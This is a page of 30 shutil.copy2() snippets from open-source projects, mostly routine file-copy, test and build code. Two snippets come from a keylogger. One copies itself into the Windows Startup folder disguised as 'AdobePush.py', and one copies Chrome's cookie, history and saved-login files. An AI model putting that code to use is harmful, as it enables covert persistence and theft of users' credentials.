Python shutil.copy2() Examples

The following are 30 code examples of shutil.copy2(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module shutil , or try the search function .
Example #1
Source File: makeSimilarScripts.py    From EXOSIMS with BSD 3-Clause "New" or "Revised" License 7 votes vote down vote up
def moveDictFiles(myDict,folderName):
    """ This Script copies the OB.csv files to the makeSimilar_Template folder
    """
    originalFileNames = list()
    copiedFileNames = list()
    for k, v in myDict.iteritems():
        if type(v) is dict:
            tmpOrigList, tmpCopiedList = moveDictFiles(v,folderName)
            if not tmpOrigList == list():
                originalFileNames.append(tmpOrigList)
                copiedFileNames.append(tmpCopiedList)
        else:
            try:
                if os.path.isfile(v):#Is a file that is located locally
                    fname = 'auto_' + folderName + v
                    shutil.copy2('./' + v,'./' + folderName + '/' + fname) #Here we copy the file to the run directory
                    originalFileNames.append(v)
                    copiedFileNames.append(fname)
            except:
                pass
    return originalFileNames, copiedFileNames 
Example #2
Source File: ds.py    From macops with Apache License 2.0 6 votes vote down vote up
def SyncShadowHash(username, shadow_name):
  """Sync the password hash for the shadow admin account with the user's."""
  shadow_guid = UserAttribute(shadow_name, 'GeneratedUID')
  user_hash = '/var/db/shadow/hash/%s' % username
  if not os.path.exists(user_hash):
    user_guid = UserAttribute(username, 'GeneratedUID')[0]
    user_hash = '/var/db/shadow/hash/%s' % user_guid
  shadow_hash = '/var/db/shadow/hash/%s' % shadow_guid[0]

  try:
    if (os.path.exists(shadow_hash)
        and os.path.isfile(shadow_hash)
        and filecmp.cmp(user_hash, shadow_hash, shallow=False)):
      # everything is as should be
      pass
    else:
      shutil.copy2(user_hash, shadow_hash)
  except (IOError, OSError), err:
    raise DSException('Error creating the shadow admin hash for '
                      '%s-admin: %s' % (username, err)) 
Example #3
Source File: test_delocating.py    From delocate with BSD 2-Clause "Simplified" License 6 votes vote down vote up
def test_copy_recurse_overwrite():
    # Check that copy_recurse won't overwrite pre-existing libs
    with InTemporaryDirectory():
        # Get some fixed up libraries to play with
        os.makedirs('libcopy')
        test_lib, liba, libb, libc = _copy_fixpath(
            [TEST_LIB, LIBA, LIBB, LIBC], 'libcopy')
        # Filter system libs

        def filt_func(libname):
            return not libname.startswith('/usr/lib')
        os.makedirs('subtree')
        # libb depends on liba
        shutil.copy2(libb, 'subtree')
        # If liba is already present, barf
        shutil.copy2(liba, 'subtree')
        assert_raises(DelocationError, copy_recurse, 'subtree', filt_func)
        # Works if liba not present
        os.unlink(pjoin('subtree', 'liba.dylib'))
        copy_recurse('subtree', filt_func) 
Example #4
Source File: Radiumkeylogger.py    From Radium with Apache License 2.0 6 votes vote down vote up
def copytostartup():
    try:
        #-----------------------
        originalfilename = "Radiumkeylogger.py"  #This name should be equal to the name of exe/py that you create. Currently the name of this file is Radiumkeylogger.py
        #-----------------------
        #-----------------------
        coppiedfilename = 'AdobePush.py'    #The file will be copied to startup folder by this name
        #-----------------------
        copytodir = 'C://Users//' + currentuser + '//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//Startup//'
        copyfromdir = currentdir + "\\" + originalfilename

        filesindir = os.listdir(copytodir)

        if coppiedfilename not in filesindir:
            try:
                shutil.copy2(copyfromdir, copytodir + coppiedfilename)
            except Exception as e:
                print e

    except Exception as e:
        print e

    return True

#Function to list directories content upto 3 level 
Example #5
Source File: torrent2http.py    From plugin.video.kmediatorrent with GNU General Public License v3.0 6 votes vote down vote up
def get_torrent2http_binary():
    binary = "torrent2http%s" % (PLATFORM["os"] == "windows" and ".exe" or "")

    binary_dir = get_binary_dir()
    binary_path = os.path.join(binary_dir, binary)
    platform = PLATFORM.copy()
    if platform["os"] == "darwin": # 64 bits anyway on Darwin
        platform["arch"] = "x64"
    elif platform["os"] == "windows": # 32 bits anyway on Windows
        platform["arch"] = "x86"

    default_binary_dir = os.path.join(RESOURCES_PATH, "bin", "%(os)s_%(arch)s" % platform)
    default_binary_path = os.path.join(default_binary_dir, binary)

    # On Android, we need to copy torrent2http to ext4, since the sdcard is noexec
    platform = PLATFORM.copy()
    if platform["os"] == "android":
        android_binary_dir = get_binary_dir()
        android_binary_path = os.path.join(android_binary_dir, binary)
        if not os.path.exists(android_binary_path) or os.path.getsize(android_binary_path) != os.path.getsize(default_binary_path):
            import shutil
            shutil.copy2(default_binary_path, android_binary_path)
        binary_path = android_binary_path
        binary_dir = android_binary_dir
    return binary_dir, ensure_exec_perms(binary_path) 
Example #6
Source File: dpAutoRig.py    From dpAutoRigSystem with GNU General Public License v2.0 6 votes vote down vote up
def keepJsonFilesWhenUpdate(self, currentDir, tempUpdateDir, *args):
        """ Check in given folder if we have custom json files and keep then when we install a new update.
            It will just check if there are user created json files, and copy them to temporary extracted update folder.
            So when the install overwrite all files, they will be copied (restored) again.
        """
        newUpdateList = []
        # list all new json files:
        for newRoot, newDirectories, newFiles in os.walk(tempUpdateDir):
            for newItem in newFiles:
                if newItem.endswith('.json'):
                    newUpdateList.append(newItem)
        
        # check if some current json file is a custom file created by user to copy it to new update directory in order to avoid overwrite it:
        for currentRoot, currentDirectories, currentFiles in os.walk(currentDir):
            for currentItem in currentFiles:
                if currentItem.endswith('.json'):
                    if not currentItem in newUpdateList:
                        # found custom file, then copy it to keep when install the new update
                        shutil.copy2(os.path.join(currentRoot, currentItem), tempUpdateDir) 
Example #7
Source File: file_util.py    From OP_Manager with MIT License 6 votes vote down vote up
def copytree(src, dst, symlinks=False, ignore=shutil.ignore_patterns('.*', '_*')):
    """
    Copy Entire Folder
    :param src: source path
    :param dst: destination path
    :param symlinks: optional
    :param ignore: pass shutil.ignore_patterns('.*', '_*')
    :return:
    """
    for item in os.listdir(src):
        s = os.path.join(src, item)
        d = os.path.join(dst, item)
        if os.path.isdir(s):
            shutil.copytree(s, d, symlinks, ignore)
        else:
            shutil.copy2(s, d) 
Example #8
Source File: test_pypi.py    From release-bot with GNU General Public License v3.0 6 votes vote down vote up
def pypi(self, tmpdir):
        conf = Configuration()
        path = str(tmpdir)
        src = Path(__file__).parent / "src/rlsbot-test"
        shutil.copy2(str(src / "setup.py"), path)
        shutil.copy2(str(src / "rlsbot_test.py"), path)
        self.run_cmd("git init .", work_directory=str(tmpdir))
        set_git_credentials(str(tmpdir), "Release Bot", "bot@example.com")
        self.run_cmd("git add .", work_directory=str(tmpdir))
        self.run_cmd("git commit -m 'initial commit'", work_directory=str(tmpdir))
        git_repo = Git(str(tmpdir), conf)
        pypi = PyPi(configuration, git_repo)
        (flexmock(pypi)
         .should_receive("upload")
         .replace_with(lambda x: None))
        return pypi 
Example #9
Source File: addauser.py    From sysadmin-tools with Apache License 2.0 6 votes vote down vote up
def createuser(fn, ln, user, group, homedir):
   # Create backups
   ts = strftime("%Y.%m.%d %H:%M:%S")
   shutil.copy2(pasfile, pasfile + "." + ts)
   shutil.copy2(shafile, shafile + "." + ts)
   uid = getuid(user)
   s = ' '.join(["useradd -c \"%s %s\" -m -d %s " % (fn, ln, homedir),
             "-u %s -g %s %s 1> /dev/null 2>&1" % (uid, group, user)])
   result = subprocess.call(s, shell=True)
   # Failure?
   if not result == 0:
      print red + "Error in creating user %s" % user + end
      os.remove(pasfile + "." + ts)
      os.remove(shafile + "." + ts)
   else: print green + "Created user %s" % user + end
   return result 
Example #10
Source File: deploy.py    From picoCTF with MIT License 6 votes vote down vote up
def install_user_service(service_file, socket_file):
    """
    Installs the service file and socket file into the xinetd
    service directory, sets the service to start on boot, and
    starts the service now.

    Args:
        service_file: The path to the systemd service file to install
        socket_file: The path to the systemd socket file to install
    """

    if service_file is None:
        return
    service_name = os.path.basename(service_file)

    logger.debug("...Installing user service '%s'.", service_name)

    # copy service file
    service_path = os.path.join(XINETD_SERVICE_PATH, service_name)
    shutil.copy2(service_file, service_path) 
Example #11
Source File: test_fixtures.py    From Obfuscapk with MIT License 6 votes vote down vote up
def tmp_demo_apk_v10_rebuild_path(tmp_path) -> str:
    """
    Return a path to a valid demo apk file generated with Apktool (different path for
    each test, but the apk file is the same). This can be useful to test signing and
    aligning.
    """
    source = (
        Path(__file__)
        .resolve()
        .parent.joinpath(
            "test_resources", "v1.0", "com.obfuscapk.demo.v1.0-rebuild.apk"
        )
    )
    destination = tmp_path.joinpath("com.obfuscapk.demo.v1.0-rebuild.apk")
    destination = shutil.copy2(source, destination)
    return str(destination) 
Example #12
Source File: mhlib.py    From meddle with MIT License 6 votes vote down vote up
def refilemessages(self, list, tofolder, keepsequences=0):
        """Refile one or more messages -- may raise os.error.
        'tofolder' is an open folder object."""
        errors = []
        refiled = {}
        for n in list:
            ton = tofolder.getlast() + 1
            path = self.getmessagefilename(n)
            topath = tofolder.getmessagefilename(ton)
            try:
                os.rename(path, topath)
            except os.error:
                # Try copying
                try:
                    shutil.copy2(path, topath)
                    os.unlink(path)
                except (IOError, os.error), msg:
                    errors.append(msg)
                    try:
                        os.unlink(topath)
                    except os.error:
                        pass
                    continue
            tofolder.setlast(ton)
            refiled[n] = ton 
Example #13
Source File: mhlib.py    From meddle with MIT License 6 votes vote down vote up
def copymessage(self, n, tofolder, ton):
        """Copy one message over a specific destination message,
        which may or may not already exist."""
        path = self.getmessagefilename(n)
        # Open it to check that it exists
        f = open(path)
        f.close()
        del f
        topath = tofolder.getmessagefilename(ton)
        backuptopath = tofolder.getmessagefilename(',%d' % ton)
        try:
            os.rename(topath, backuptopath)
        except os.error:
            pass
        ok = 0
        try:
            tofolder.setlast(None)
            shutil.copy2(path, topath)
            ok = 1
        finally:
            if not ok:
                try:
                    os.unlink(topath)
                except os.error:
                    pass 
Example #14
Source File: test_converter.py    From basset-ios with MIT License 6 votes vote down vote up
def test_dont_reconvert_old_files_test(self):
        converter = Converter()
        os.chdir(os.path.join(self.converter_tests_resource_path, "dont_reconvert_old_files_test"))
        converter.input_dir = "Assets"
        converter.output_dir = self.converter_output_tests_resource_path

        converter.convert()

        sha1_of_generated_files = []
        sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-01.png")))
        sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-02.png")))

        shutil.copy2(os.path.join(converter.input_dir, "test-01.eps"), os.path.join(converter.input_dir, "test-02.eps"))
        converter.convert()

        sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-01.png")))
        sha1_of_generated_files.append(converter.sha1_of_file(os.path.join(converter.output_dir, "test-02.png")))

        self.assertEqual(sha1_of_generated_files[0], sha1_of_generated_files[2])
        self.assertNotEqual(sha1_of_generated_files[1], sha1_of_generated_files[3]) 
Example #15
Source File: test_delocating.py    From delocate with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def _copy_fixpath(files, directory):
    new_fnames = []
    for fname in files:
        shutil.copy2(fname, directory)
        new_fname = pjoin(directory, basename(fname))
        for name in get_install_names(fname):
            if name.startswith('lib'):
                set_install_name(new_fname, name, pjoin(directory, name))
        new_fnames.append(new_fname)
    return new_fnames 
Example #16
Source File: test_delocating.py    From delocate with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def _copy_to(fname, directory, new_base):
    new_name = pjoin(directory, new_base)
    shutil.copy2(fname, new_name)
    return new_name 
Example #17
Source File: test_install_names.py    From delocate with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def test_change_install_name():
    # Test ability to change install names in library
    libb_names = get_install_names(LIBB)
    with InTemporaryDirectory() as tmpdir:
        libfoo = pjoin(tmpdir, 'libfoo.dylib')
        shutil.copy2(LIBB, libfoo)
        assert_equal(get_install_names(libfoo), libb_names)
        set_install_name(libfoo, 'liba.dylib', 'libbar.dylib')
        assert_equal(get_install_names(libfoo),
                     ('libbar.dylib',) + libb_names[1:])
        # If the name not found, raise an error
        assert_raises(InstallNameError,
                      set_install_name, libfoo, 'liba.dylib', 'libpho.dylib') 
Example #18
Source File: test_install_names.py    From delocate with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def test_set_install_id():
    # Test ability to change install id in library
    liba_id = get_install_id(LIBA)
    with InTemporaryDirectory() as tmpdir:
        libfoo = pjoin(tmpdir, 'libfoo.dylib')
        shutil.copy2(LIBA, libfoo)
        assert_equal(get_install_id(libfoo), liba_id)
        set_install_id(libfoo, 'libbar.dylib')
        assert_equal(get_install_id(libfoo), 'libbar.dylib')
    # If no install id, raise error (unlike install_name_tool)
    assert_raises(InstallNameError, set_install_id, TEST_LIB, 'libbof.dylib') 
Example #19
Source File: test_install_names.py    From delocate with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def _copy_libs(lib_files, out_path):
    copied = []
    if not exists(out_path):
        os.makedirs(out_path)
    for in_fname in lib_files:
        out_fname = pjoin(out_path, basename(in_fname))
        shutil.copy2(in_fname, out_fname)
        copied.append(out_fname)
    return copied 
Example #20
Source File: test_wheelies.py    From delocate with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def test_fix_pure_python():
    # Test fixing a pure python package gives no change
    with InTemporaryDirectory():
        os.makedirs('wheels')
        shutil.copy2(PURE_WHEEL, 'wheels')
        wheel_name = pjoin('wheels', basename(PURE_WHEEL))
        assert_equal(delocate_wheel(wheel_name), {})
        zip2dir(wheel_name, 'pure_pkg')
        assert_true(exists(pjoin('pure_pkg', 'fakepkg2')))
        assert_false(exists(pjoin('pure_pkg', 'fakepkg2', '.dylibs'))) 
Example #21
Source File: test_wheelies.py    From delocate with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def _fixed_wheel(out_path):
    wheel_base = basename(PLAT_WHEEL)
    with InGivenDirectory(out_path):
        zip2dir(PLAT_WHEEL, '_plat_pkg')
        if not exists('_libs'):
            os.makedirs('_libs')
        shutil.copy2(STRAY_LIB, '_libs')
        stray_lib = pjoin(abspath(realpath('_libs')), basename(STRAY_LIB))
        requiring = pjoin('_plat_pkg', 'fakepkg1', 'subpkg', 'module2.so')
        old_lib = set(get_install_names(requiring)).difference(EXT_LIBS).pop()
        set_install_name(requiring, old_lib, stray_lib)
        dir2zip('_plat_pkg', wheel_base)
        shutil.rmtree('_plat_pkg')
    return pjoin(out_path, wheel_base), stray_lib 
Example #22
Source File: file_system.py    From glazier with Apache License 2.0 5 votes vote down vote up
def Run(self):
    try:
      src = self._args[0]
      dst = self._args[1]
    except IndexError:
      raise ActionError('Unable to determine source and destination from %s.' %
                        str(self._args))
    try:
      path = os.path.dirname(dst)
      self._CreateDirectories(path)
      shutil.copy2(src, dst)
      logging.info('Copying: %s to %s', src, dst)
    except (shutil.Error, IOError) as e:
      raise ActionError('Unable to copy %s to %s: %s' % (src, dst, str(e))) 
Example #23
Source File: setup.py    From oscrypto with MIT License 5 votes vote down vote up
def run(self):
        egg_info_path = os.path.join(
            TESTS_ROOT,
            '%s.egg-info' % TEST_PACKAGE_NAME
        )
        if not os.path.exists(egg_info_path):
            os.mkdir(egg_info_path)
        shutil.copy2(
            os.path.join(TESTS_ROOT, 'LICENSE'),
            os.path.join(egg_info_path, 'LICENSE')
        )
        egg_info.run(self) 
Example #24
Source File: setup.py    From oscrypto with MIT License 5 votes vote down vote up
def run(self):
        egg_info_path = os.path.join(
            PACKAGE_ROOT,
            '%s.egg-info' % PACKAGE_NAME
        )
        if not os.path.exists(egg_info_path):
            os.mkdir(egg_info_path)
        shutil.copy2(
            os.path.join(PACKAGE_ROOT, 'LICENSE'),
            os.path.join(egg_info_path, 'LICENSE')
        )
        egg_info.run(self) 
Example #25
Source File: test_watchers.py    From qtsass with MIT License 5 votes vote down vote up
def test_qtwatcher(tmpdir):
    """Test QtWatcher implementation."""
    # Constructing a QApplication will cause the QtWatcher constructed
    # below to use a Signal to dispatch callbacks.
    from qtsass.watchers.qt import QApplication

    qt_app = QApplication.instance()
    if not qt_app:
        qt_app = QApplication([])

    watch_dir = tmpdir.join('src').strpath
    os.makedirs(watch_dir)
    shutil.copy2(example('dummy.scss'), watch_dir)
    input = tmpdir.join('src/dummy.scss').strpath
    output = tmpdir.join('build/dummy.css').strpath
    output_exists = lambda: exists(output)

    c = CallCounter()
    w = QtWatcher(
        watch_dir=watch_dir,
        compiler=compile_filename,
        args=(input, output),
    )
    # We connect a counter directly to the Watcher's Qt Signal in order to
    # verify that the Watcher is actually using a Qt Signal.
    w.qtdispatcher.signal.connect(c)
    w.start()

    touch(input)
    time.sleep(0.5)
    if not await_condition(output_exists, qt_app=qt_app):
        assert False, 'Output file not created...'
    assert c.count == 1

    # Stop watcher
    w.stop()
    w.join() 
Example #26
Source File: url.py    From fusesoc with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def _checkout(self, local_dir):
        url = self.config.get("url")
        logger.info("Downloading...")
        user_agent = self.config.get("user-agent")
        if not self.config.get("verify_cert", True):
            import ssl

            ssl._create_default_https_context = ssl._create_unverified_context

        if user_agent and sys.version_info[0] >= 3:
            opener = urllib.build_opener()
            opener.addheaders = [("User-agent", user_agent)]
            urllib.install_opener(opener)
        try:
            (filename, headers) = urllib.urlretrieve(url)
        except (URLError, HTTPError) as e:
            raise RuntimeError("Failed to download '{}'. '{}'".format(url, e.reason))

        filetype = self.config.get("filetype")
        if filetype == "tar":
            t = tarfile.open(filename)
            t.extractall(local_dir)
        elif filetype == "zip":
            with zipfile.ZipFile(filename, "r") as z:
                z.extractall(local_dir)
        elif filetype == "simple":
            _filename = url.rsplit("/", 1)[1]
            os.makedirs(local_dir)
            shutil.copy2(filename, os.path.join(local_dir, _filename))
        else:
            raise RuntimeError(
                "Unknown file type '" + filetype + "' in [provider] section"
            ) 
Example #27
Source File: core.py    From fusesoc with BSD 2-Clause "Simplified" License 5 votes vote down vote up
def export(self, dst_dir, flags={}):
        if os.path.exists(dst_dir):
            shutil.rmtree(dst_dir)

        src_files = [f["name"] for f in self.get_files(flags)]
        if self.vpi and flags["tool"] in ["icarus", "modelsim", "rivierapro"]:
            src_files += [f.name for f in self.vpi.src_files + self.vpi.include_files]
        for section in self.get_scripts(dst_dir, flags).values():
            for script in section:
                src_files.append(script["name"])

        self._debug("Exporting {}".format(str(src_files)))

        dirs = list(set(map(os.path.dirname, src_files)))
        for d in dirs:
            if not os.path.exists(os.path.join(dst_dir, d)):
                os.makedirs(os.path.join(dst_dir, d))

        for f in src_files:
            if not os.path.isabs(f):
                if os.path.exists(os.path.join(self.core_root, f)):
                    shutil.copy2(
                        os.path.join(self.core_root, f), os.path.join(dst_dir, f)
                    )
                elif os.path.exists(os.path.join(self.files_root, f)):
                    shutil.copy2(
                        os.path.join(self.files_root, f), os.path.join(dst_dir, f)
                    )
                else:
                    raise RuntimeError(
                        "Cannot find %s in :\n\t%s\n\t%s"
                        % (f, self.files_root, self.core_root)
                    ) 
Example #28
Source File: Radiumkeylogger.py    From Radium with Apache License 2.0 5 votes vote down vote up
def cookiestealer():
    cookiepath = os.environ.get('HOMEDRIVE') + os.environ.get('HOMEPATH') + '\AppData\Local\Google\Chrome\User Data\Default'

    cookiefile = 'Cookies'
    historyfile = 'History'
    LoginDatafile = "Login Data"

    copycookie = cookiepath + "\\" + cookiefile
    copyhistory = cookiepath + "\\" + historyfile
    copyLoginData = cookiepath + "\\" + LoginDatafile

    filesindir = os.listdir(path_to_cookies)

    if copycookie not in filesindir:
        try:
            shutil.copy2(copycookie, path_to_cookies)
        except:
            pass


    if copyhistory not in filesindir:
        try:
            shutil.copy2(copyhistory, path_to_cookies)
        except:
            pass


    if copyLoginData not in filesindir:
        try:
            shutil.copy2(copyLoginData, path_to_cookies)
        except:
            pass

    return True

#Function to move all the files that are to be sent via email to one place 
Example #29
Source File: ygen.py    From misp42splunk with GNU Lesser General Public License v3.0 5 votes vote down vote up
def main():
    dirname = os.path.dirname(__file__)
    shutil.copy2(os.path.join(dirname, 'yacc.py'), os.path.join(dirname, 'yacc.py.bak'))
    with open(os.path.join(dirname, 'yacc.py'), 'r') as f:
        lines = f.readlines()

    parse_start, parse_end = get_source_range(lines, 'parsedebug')
    parseopt_start, parseopt_end = get_source_range(lines, 'parseopt')
    parseopt_notrack_start, parseopt_notrack_end = get_source_range(lines, 'parseopt-notrack')

    # Get the original source
    orig_lines = lines[parse_start:parse_end]

    # Filter the DEBUG sections out
    parseopt_lines = filter_section(orig_lines, 'DEBUG')

    # Filter the TRACKING sections out
    parseopt_notrack_lines = filter_section(parseopt_lines, 'TRACKING')

    # Replace the parser source sections with updated versions
    lines[parseopt_notrack_start:parseopt_notrack_end] = parseopt_notrack_lines
    lines[parseopt_start:parseopt_end] = parseopt_lines

    lines = [line.rstrip()+'\n' for line in lines]
    with open(os.path.join(dirname, 'yacc.py'), 'w') as f:
        f.writelines(lines)

    print('Updated yacc.py') 
Example #30
Source File: ygen.py    From misp42splunk with GNU Lesser General Public License v3.0 5 votes vote down vote up
def main():
    dirname = os.path.dirname(__file__)
    shutil.copy2(os.path.join(dirname, 'yacc.py'), os.path.join(dirname, 'yacc.py.bak'))
    with open(os.path.join(dirname, 'yacc.py'), 'r') as f:
        lines = f.readlines()

    parse_start, parse_end = get_source_range(lines, 'parsedebug')
    parseopt_start, parseopt_end = get_source_range(lines, 'parseopt')
    parseopt_notrack_start, parseopt_notrack_end = get_source_range(lines, 'parseopt-notrack')

    # Get the original source
    orig_lines = lines[parse_start:parse_end]

    # Filter the DEBUG sections out
    parseopt_lines = filter_section(orig_lines, 'DEBUG')

    # Filter the TRACKING sections out
    parseopt_notrack_lines = filter_section(parseopt_lines, 'TRACKING')

    # Replace the parser source sections with updated versions
    lines[parseopt_notrack_start:parseopt_notrack_end] = parseopt_notrack_lines
    lines[parseopt_start:parseopt_end] = parseopt_lines

    lines = [line.rstrip()+'\n' for line in lines]
    with open(os.path.join(dirname, 'yacc.py'), 'w') as f:
        f.writelines(lines)

    print('Updated yacc.py')